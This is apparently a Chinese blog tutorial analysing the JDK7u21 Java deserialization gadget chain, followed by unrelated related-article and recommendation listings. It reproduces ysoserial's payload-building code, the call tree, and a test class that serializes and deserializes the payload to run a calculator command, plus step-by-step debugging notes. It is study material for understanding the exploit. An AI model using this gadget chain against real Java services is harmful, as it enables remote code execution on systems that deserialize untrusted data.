JDK7u21

1、前置知识

jdk7u21是一条不依赖CommonsCollections库依赖的,看利用链所有知识其实跟CommonsCollections也有重复,我们来学习一下以前没学过的类或者方法。环境是jdk7u17。

LinkedHashSet

首先入口是LinkedHashSet的readObject方法,LinkedHashSet是HashSet的子类,也继承了序列化接口和集合接口,但是LinkedHashSet是没有重写readObject方法的,所以LinkedHashSet调用的是HashSet的父类的readObject方法

//构造函数,可以看到是直接调用父类的方法
public LinkedHashSet(int initialCapacity) {
super(initialCapacity, .75f, true);
}

AnnotationInvocationHandler

hashCodeImpl

这个函数就是用来计算hashCode的,具体分析可以看POC调试,

private int hashCodeImpl() {
int var1 = 0; Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
} return var1;
}

memberValueHashCode

这个也是用来计算hashCode,可以看到里面都是调用hashCode方法,具体作用看POC调试

equalsImpl

用来通过invoke来执行我们的恶意代码,具体看POC调试

TemplatesImpl

getOutputProperties

其实getOutputProperties就是用来调用我们的newTransformer,然后就是跟cc链一样去实例化templates造成RCE

public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

2、POC分析

2.1、利用链

/*

Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
the same JRE version requirements. See: https://gist.github.com/frohoff/24af7913611f8406eaf3 Call tree: LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()
*/

2.2、POC分析

这里使用ysoserial来分析,看看大佬是怎么构造poc的,主函数在getObject方法里

public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command); String zeroHashCodeStr = "f5a5a608"; HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo"); InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class); LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy); Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null); map.put(zeroHashCodeStr, templates); // swap in real object return set;
}

第一部分代码

final Object templates = Gadgets.createTemplatesImpl(command);

我们跟进createTemplatesImpl去看,判断为否,直接返回重载方法,除了命令,还传入了TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class,继续跟进

public static Object createTemplatesImpl ( final String command ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
} return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}

首先是第一红框实例化了我们的TemplateImpl,然后使用javassit构造一个恶意类,首先创建一个类池,把StubTransletPayload和abstTranslet的路径插入类池,然后StubTransletPayload的名字创建一个类clazz。第二个红框就是把恶意代码嵌入恶意类,然后设置名字和父类abstTranslet,然后转成字节码赋值给classBytes

StubTransletPayload就是作者创造的一个静态类

我接着继续看,看代码的意思反射设置属性值,跟进去看看。

跟进来发现就是反射直射属性值,所以就是反射设置我们第一行创建的templates,然后设置属性_bytecodes、_name和_tfactor,然后就返回恶意的Templates

我们一个一个来看,其实前面两个在ComonsCollections链已经分析过,这里简单说明。

_name

在TemplateImpl里面的getTransletInstance,会有判断。继续进入当_class为null进入defineTransletClasses

_bytecodes

在defineTransletClasses,会有对_bytecodes判断,然后赋值给_class,返回getTransletInstance方法实例化_class。

_tfactor

看一个大佬的文章说是 在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory 设值,但是在jdk7u17上并未发现,也许在其他版本,这里就不深究

其实这部分代码就是为了生成一个恶意的templates

第二部分代码

这部分就是新建一个HashMap,把一个特殊的字符串(“f5a5a608”)作为map的key,看属性的命令是说空的HashCode字符串,这里不做深究,调式在具体看

String zeroHashCodeStr = "f5a5a608";

HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");

第三部分代码

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

1.第一行获取AnnotationInvocationHandler的类型并且使用map作为参数,赋值给tempHandler

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);

ANN_INV_HANDLER_CLASS就是AnnotationInvocationHandler类

getFirstCtor就是通过传入的名字反射获取结构体,newInstance就是通过getFirstCtor获取结果提然后根据传入的参数(map),创建一个实例

2.第二行反射 设置tempHandler的type的属性值为Templates.class,在getMeberMethods方法会用到

Reflections.setFieldValue(tempHandler, "type", Templates.class);

3.第三行就是创建代理,我们跟进去createProxy看看

Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

进来发现其实就是把传入的tempHandler(创建了一个代理),allIface就是接口类型(Templates.class)。

第四部分代码

创建一个LinkedHashSet,LinkedHashSet在前置知识有学习过,然后再LinkedHashSet存入两个变量,一个恶意类templates,一个代理类proxy,proxy里面其实就是一个map,然后反射设置属性_auxClasses、_class,这两个都是为了在TemplateImple的getTransletInstance方法不报错的。最后就是把map的key(zeroHashCodeStr)的值设置为templates

为啥最后才设置,真的可以加入swap内存里吗,自己去调试时发现是可以的

LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy); Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null); map.put(zeroHashCodeStr, templates); // swap in real object

ysoserial对代码进行很好的封装,自己以后写小工具,可以多借鉴大佬的这种封装思路。

2.3、POC调试

写个测试类

package ysoserial.test.payloads;

import org.apache.xalan.xsltc.trax.TemplatesImpl;
import ysoserial.payloads.Jdk7u21; import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream; public class Jdk7u21Test { public static void main(String[] args) throws Exception {
Object calc = new Jdk7u21().getObject("open /System/Applications/Calculator.app");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.ser"));
oos.writeObject(calc); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.ser")); Object o = ois.readObject();
}
}

首先在HashSet处打下断点,就是先判断传入的类型是什么,传入的是LinkHashMap,就会新建一个LinkHashMap赋值给map,然后进入for循环反序列赋值给e变量(恶意的TemplateImpl),然后和空的Object对象一起存入map。LinkHashSet我们存入两个对象,分别是TemplateImpl和proxy,第一遍是TemplateImpl,我们继续跟进put方法。

其实进入到Hashmap的put方法,首先判断key是否为null,然后计算key(既TemplatesImpl)的hash,hash是833788266,然后调用indexFor方法传入hash和table的长度,table就是空entry如下图,我们跟进去

就是把hash和length进行位与运算然后直接返回,出来put的方法

得出i=10,进入for循环,上边说过table是空的,所以直接越过for循环,

然后就到了我们addEntry方法,传入hash、key(TemplatesImpl)、value、i(10),value是空的Object对象,我也跟进去看看

进来发现是LinkHashMap,其调用父类(HashMap)的方法,继续跟进

进入HashMap的addEntry方法--》createEntry创建一个entry,并且赋值给table。

然后就结束了,返回到readObject方法的第二次循环,map的key存放的是proxy,我们的代理对象(AnnotationInvocationHandler),继续跟进

我们要进入for循环,就是这条链最精华的部分,真实让i为我们上次传入的的值一模一样,这样table[i]才不为null,e不为null才能进入循环,就是”for (Entry<K,V> e = table[i]; e != null; e = e.next) “,我们继续跟进hash方法,key为Proxy,Proxy就是我们的AnnotationInvocationHandler

进入hash方法,就是k就是proxy,所以是proxy调用了hashCode()方法,就是AnnotationInvocationHandler调用了hashCode方法,因为代理对象会调用invoke方法,继续跟进

进入invoke方法后,会反射获取方法名(hashCode),判断是否为“equals”,负责就位根据方法名调用对象的方法,所以调用的是AnnotationInvocationHandler(this)的hashCodeImpl(),继续跟进

进入hashCodeImpl,发现var2是一个迭代器,迭代的是memberValues

this.memberValues为构造方法传入的map,(“f5a5a608”=templatesImpl)

我们继续来看for里面的判断语句

var3是通过第一遍循环通过var2赋值的,就是我们传入map(“f5a5a608”=templatesImpl)

就是var3的key的hashCodevar3的value值的hash值进行位异或操作,

var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())

127 * ((String)var3.getKey()).hashCode() 为0,因为key为f5a5a608,f5a5a608的hashCode=0,我们跟进去

memberValueHashCode的参数就是templatesImpl,会调用templatesImpl的hashCode()方法,所以得到与第一循环完全一样的hashcode,我们跟进去计算一下,得到了855362136,怎跟我们算的不一样,答案是这是是hashCode,并不是hash方法,我们继续跟下去

所以使用0和templatesImpl的hashCode()进行异或运算得到就是templatesImpl的hashCode()

然后再hash方法中通过位异或运算

可以看到得出来的hash结果跟第一遍的833788266一样

最后我们成功进入到for循环里

我们来继续看if语句,只有e.hash == hash && ((k = e.key) == key为假,才会执行key.equals(k),我们的目的执行地

首先看e.hash == hash,e.hash就是我们第一次循环的templateImpl的hash,hash就是proxy(map(“f5a5a608”=templatesImpl))的hash,为ture

(k = e.key) == key,这个肯定不一样,为false,因为k=e.key是第一遍循环传入的templateImpl,key是第二遍循环传入的proxy

所以就会执行我们的key.equals(k),就是proxy.equals(templateImpl),到了这里又不得不说夸一句作者牛!

接下来我们继续跟进key.equals(k),就是proxy.equals(templateImpl),所以会进入到我们AnnotationInvocationHandler的invoke方法,

var1为代理对象,var3为TemplatesImpl

首先反射获取方法名,然后判断var4是否equals,肯定是的因为我们就是通过equals方法就来的,成功进入if,到了equalsImpl方法,参数是var3就是TemplatesImpl,就是this.equalsImpl(TemplatesImpl),继续跟进

进入equalsImpl方法,发现var5.invoke(var1),var1就是TemplatesImpl,var5是通过var2[],var2[]是this.getMeberMethods(),我们查看一下该方法。

进入后发现this.type就是我们赋值的TemplatesImpl对象,获取的就是newTransformer和getOutputProperties.

所以var2[]存的newTransformer和getOutputProperties.方法,第一遍循环拿到的是newTransformer方法

然后通过invoke,反射执行TemplatesImpl的newTransformer方法(可以看到var6是newTransformer),实例化我们的TemplatesImpl,造成远程代码执行,后面的就不跟进去了,不懂的可以看看CommonsCollections链

但是为啥没有进入getOutputProperties方法去,虽然进去的也是调用newTransformer,两个方法,第一个就是newTransformer,直接就远程代码执行了(在getOutputProperties打断点也没有用),也许jdk不同把,有大佬有其他答案望告知。

2.4、结束

通过这次学习jdk7u21发现作者的思路真的是很巧妙,借鉴很多大佬的经验,逻辑运算很多,细节很多。接下来就去学习调试fastjson。

参考链接

https://cnblogs.com/nice0e3/p/14026849.html

https://y4er.com/post/ysoserial-jdk7u21/

https://paper.seebug.org/1224/

JDK7u21反序列链学习的更多相关文章

  1. Fastjsonfan反序列链学习前置知识

    Fastjson前置知识 Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象. Fastjson 可以操作任何 ...

  2. CommonsCollection2反序列链学习

    CommonsCollection2 1.前置知识 CmonnosCollection2需要用到Javassist和PriorityQueue 1.1.Javassist Javassist是一个开源 ...

  3. GNU工具链学习笔记

    GNU工具链学习笔记 1..so为动态链接库,.a为静态连接库.他们在Linux下按照ELF格式存储.ELF有四种文件类型.可重定位文件(Relocatable file,*.o,*.a),包含代码和 ...

  4. CommonsCollection6反序列化链学习

    CommonsCollection6 1.前置知识 1.1.HashSet HashSet 基于 HashMap 来实现的,是一个不允许有重复元素的集合.继承了序列化和集合 构造函数参数为空的话创建一 ...

  5. C3P0反序列化链学习

    C3P0 c3p0第一次听闻是用于fastjson的回显上,大佬们总结三种方法,后面两种主要就是用于fastjson和jackjson的回显利用(注入内存马) http base jndi hex序列 ...

  6. JS 原型链学习总结

    废话篇: 在js的学习过程中有一大难点就是原型链.学习的时候一直对这一内容不是十分的明白.纠结的我简直难受.,幸好总算给他弄通了,哇咔咔,总算可以不用在睡梦中还想着他了. 正文篇: 要了解原型链我们首 ...

  7. JavaScript原型(链)学习笔记

    javascript是基于原型的一门脚本语言,那究竟原型是什么? 本文将从以下几个方面重点阐述原型 构造函数是什么? 构造函数和我们常见的Array String有什么关系? 原型的使用? __pro ...

  8. JavaScript作用域(链)学习笔记

    作用域是javascript老生常谈的问题,在面试题中也经常出现.此文记录本人对js作用域的理解.从以下三个方面深入探讨js作用域和js作用域链. 1.什么是作用域? 2.什么是作用域链? 3.常见面 ...

  9. 区块链学习笔记:D03 区块链在各行业领域的应用(一)

    今天主要是学习了区块链在金融和供应链领域的应用,重点体现了区块链多方参与.透明可信.防篡改防抵赖的技术优势 区块链的应用场景最早是在金融行业应用较多,后续逐步扩展到传统行业,如:供应链.政务服务.物联 ...

随机推荐

  1. 1、如何抓取Modbus TCP/UDP 数据包实战

    CEIWEI最近发布了Modbus RTU Over TCP/UDP 过滤监控的新工具,下面以Modbus RTU TCP为示例,讲解如何抓取Modbus通信数据包,因为CEIWEI ModbusMo ...

  2. NaviCat连接提示驱动程序IM004错误

    今天一打开NaviCat提示驱动程序IM004错误,百度了好几种方法都不起作用,多次尝试后总结出一套方法: 一.到控制面板--卸载程序--卸载NaviCat Clien 注意可能有多个版本的,2008 ...

  3. 字符串的高级应用-char a[100] = "1+2=;3-2=;2*5=;8/4=;" 得到char a[100] ="1+2=3;3-2=1;2*5=10;8/4=2;"

    1 #include<stdio.h> 2 #include<string.h> 3 4 int main() 5 { 6 char a[100] = "1+2=;3 ...

  4. python爬取网络中的QQ号码

    import urllib.request import ssl import re import os #博客地址:https://blog.csdn.net/qq_36374896 def wri ...

  5. Linux下面有7个运行等级  run level

    Linux下面有7个运行等级  run level run level 0  系统停机状态,系统默认运行级别不能设为0,否则不能正常启动 run level 1  单用户工作状态,root权限,用于系 ...

  6. 基于COLA架构的电商财务系统-总

    财务 清算-clearing 对账-check 结算-settle 平账-correct 划拨-remit 包划分 按照COLA规则进行划分,综合考虑功能和领域两个维度包结构定义 技术参考 dddpl ...

  7. 前端工程化 Webpack基础

    前端工程化 模块化 (js模块化,css模块化,其他资源模块化) 组件化 (复用现有的UI结构.样式.行为) 规范化 (目录结构的划分.编码规范化.接口规范化.文档规范化.Git分支管理) 自动化 ( ...

  8. Intellij IDEA实现SpringBoot项目多端口启动的两种方法

    有时候使用springboot项目时遇到这样一种情况,用一个项目需要复制很多遍进行测试,除了端口号不同以外,没有任何不同.遇到这种情况怎么办呢?这时候可以使用Intellij IDEA解决 前言 有时 ...

  9. 详细描述一下 Elasticsearch 索引文档的过程 ?

    面试官:想了解 ES 的底层原理,不再只关注业务层面了. 解答: 这里的索引文档应该理解为文档写入 ES,创建索引的过程. 文档写入包含:单文档写入和批量 bulk 写入,这里只解释一下:单文档写入流 ...

  10. 在 Java 中 CycliBarriar 和 CountdownLatch 有什么区别?

    CyclicBarrier 可以重复使用,而 CountdownLatch 不能重复使用. Java 的 concurrent 包里面的 CountDownLatch 其实可以把它看作一个计数器, 只 ...